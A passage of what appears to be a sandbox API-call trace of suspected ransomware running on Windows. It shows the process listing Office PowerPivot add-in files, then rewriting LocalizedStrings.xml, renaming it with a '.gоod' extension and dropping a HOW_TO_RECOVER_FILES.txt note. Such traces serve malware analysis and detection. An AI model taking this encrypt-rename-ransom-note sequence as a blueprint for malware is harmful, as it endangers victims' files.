dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0236.567] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa806c3d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa806c3d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa853100, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3038, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0236.567] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x688d06d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x688d06d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x688d06d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ca98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MI93CC~1.DLL")) returned 1 [0236.567] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2ee20e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2f2e583, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MIE9BA~1.DLL")) returned 1 [0236.567] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56f7a52, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56f7a52, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56f7a52, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4c050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0236.567] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x865a7d2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x47ae0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MIB24E~1.DLL")) returned 1 [0236.568] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc0e95c0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc0e95c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc21a8ad, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8090, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0236.568] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6296213, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0236.568] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2ee20e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2f2e583, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a070, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0236.568] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9e7d566, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9e7d566, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x70ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0236.568] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x37acc11, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37acc11, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37acc11, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15080, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MI5C38~1.DLL")) returned 1 [0236.568] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf71003, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf71003, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xfe368d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaae0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1 [0236.569] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc5d437d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc5d437d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc5fa5d2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4088, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0236.569] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5174318, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5174318, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x519a5bb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9ae0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0236.569] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa31be8d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa31be8d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa4733b6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x28c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0236.569] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa31be8d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa31be8d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa4733b6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x28c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 0 [0236.569] FindClose (in: hFindFile=0x134a920 | out: hFindFile=0x134a920) returned 1 [0236.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0236.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0236.570] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0236.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec9a0) returned 1 [0236.570] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ca\\localizedstrings.xml"), fInfoLevelId=0x0, lpFileInformation=0x36996b8 | out: lpFileInformation=0x36996b8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16605845, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16605845, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16605845, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10f2)) returned 1 [0239.029] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec960) returned 1 [0239.029] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0239.029] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0239.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ca\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0239.030] GetFileType (hFile=0x85c) returned 0x1 [0239.030] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0239.030] GetFileType (hFile=0x85c) returned 0x1 [0239.030] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1000 [0239.030] ReadFile (in: hFile=0x85c, lpBuffer=0x3a77f70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec9c8, lpOverlapped=0x0 | out: lpBuffer=0x3a77f70*, lpNumberOfBytesRead=0x206ec9c8*=0xf2, lpOverlapped=0x0) returned 1 [0239.032] CloseHandle (hObject=0x85c) returned 1 [0239.032] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0239.032] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0239.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ca\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0239.032] GetFileType (hFile=0x85c) returned 0x1 [0239.032] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0239.033] GetFileType (hFile=0x85c) returned 0x1 [0239.033] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x10f2 [0239.033] WriteFile (in: hFile=0x85c, lpBuffer=0x3a79278*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x206ec8e8, lpOverlapped=0x0 | out: lpBuffer=0x3a79278*, lpNumberOfBytesWritten=0x206ec8e8*=0x10, lpOverlapped=0x0) returned 1 [0239.033] CloseHandle (hObject=0x85c) returned 1 [0239.033] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0239.033] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0239.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ca\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0239.034] GetFileType (hFile=0x85c) returned 0x1 [0239.034] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0239.034] GetFileType (hFile=0x85c) returned 0x1 [0239.034] ReadFile (in: hFile=0x85c, lpBuffer=0x3a7b588, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec978, lpOverlapped=0x0 | out: lpBuffer=0x3a7b588*, lpNumberOfBytesRead=0x206ec978*=0x1000, lpOverlapped=0x0) returned 1 [0239.230] CloseHandle (hObject=0x85c) returned 1 [0239.230] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0239.230] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0239.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ca\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0239.230] GetFileType (hFile=0x85c) returned 0x1 [0239.230] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0239.230] GetFileType (hFile=0x85c) returned 0x1 [0239.230] WriteFile (in: hFile=0x85c, lpBuffer=0x36bec58*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x206eca28, lpOverlapped=0x0 | out: lpBuffer=0x36bec58*, lpNumberOfBytesWritten=0x206eca28*=0x1010, lpOverlapped=0x0) returned 1 [0239.230] CloseHandle (hObject=0x85c) returned 1 [0239.230] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0239.230] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\LocalizedStrings.xml.gоod", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\LocalizedStrings.xml.gоod", lpFilePart=0x0) returned 0x6b [0239.231] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec960) returned 1 [0239.231] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ca\\localizedstrings.xml"), fInfoLevelId=0x0, lpFileInformation=0x206eca40 | out: lpFileInformation=0x206eca40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16605845, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16605845, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8acdcb73, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1102)) returned 1 [0239.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec920) returned 1 [0239.231] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ca\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\LocalizedStrings.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ca\\localizedstrings.xml.gоod")) returned 1 [0239.232] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0239.232] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0239.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ca\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x85c [0239.233] GetFileType (hFile=0x85c) returned 0x1 [0239.233] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0239.233] GetFileType (hFile=0x85c) returned 0x1 [0239.234] WriteFile (in: hFile=0x85c, lpBuffer=0x38437f8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x38437f8*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0239.235] CloseHandle (hObject=0x85c) returned 1 [0239.235] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0239.235] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges", lpFilePart=0x0) returned 0x59 [0239.235] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a860 [0239.239] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0239.239] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16546d20, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16546d20, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="as80.xsl", cAlternateFileName="")) returned 1 [0239.239] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x165b9401, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x49ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="as90.xsl", cAlternateFileName="")) returned 1 [0239.239] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x165b9401, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x75ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="db2v0801.xsl", cAlternateFileName="")) returned 1 [0239.240] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x164d461d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x164d461d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164d461d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1816e, dwReserved0=0x0, dwReserved1=0x0, cFileName="hive.xsl", cAlternateFileName="")) returned 1 [0239.240] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x164ae360, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164ae360, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7b27, dwReserved0=0x0, dwReserved1=0x0, cFileName="Informix.xsl", cAlternateFileName="")) returned 1 [0239.240] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x164d461d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x164d461d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164d461d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7339, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjet.xsl", cAlternateFileName="")) returned 1 [0239.240] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x164ae360, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164ae360, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8a2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="orcl7.xsl", cAlternateFileName="")) returned 1 [0239.240] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x164ae360, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164ae360, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x858c, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql2000.xsl", cAlternateFileName="")) returned 1 [0239.240] FindNextFileW (in: hFindFile=0x134a860, 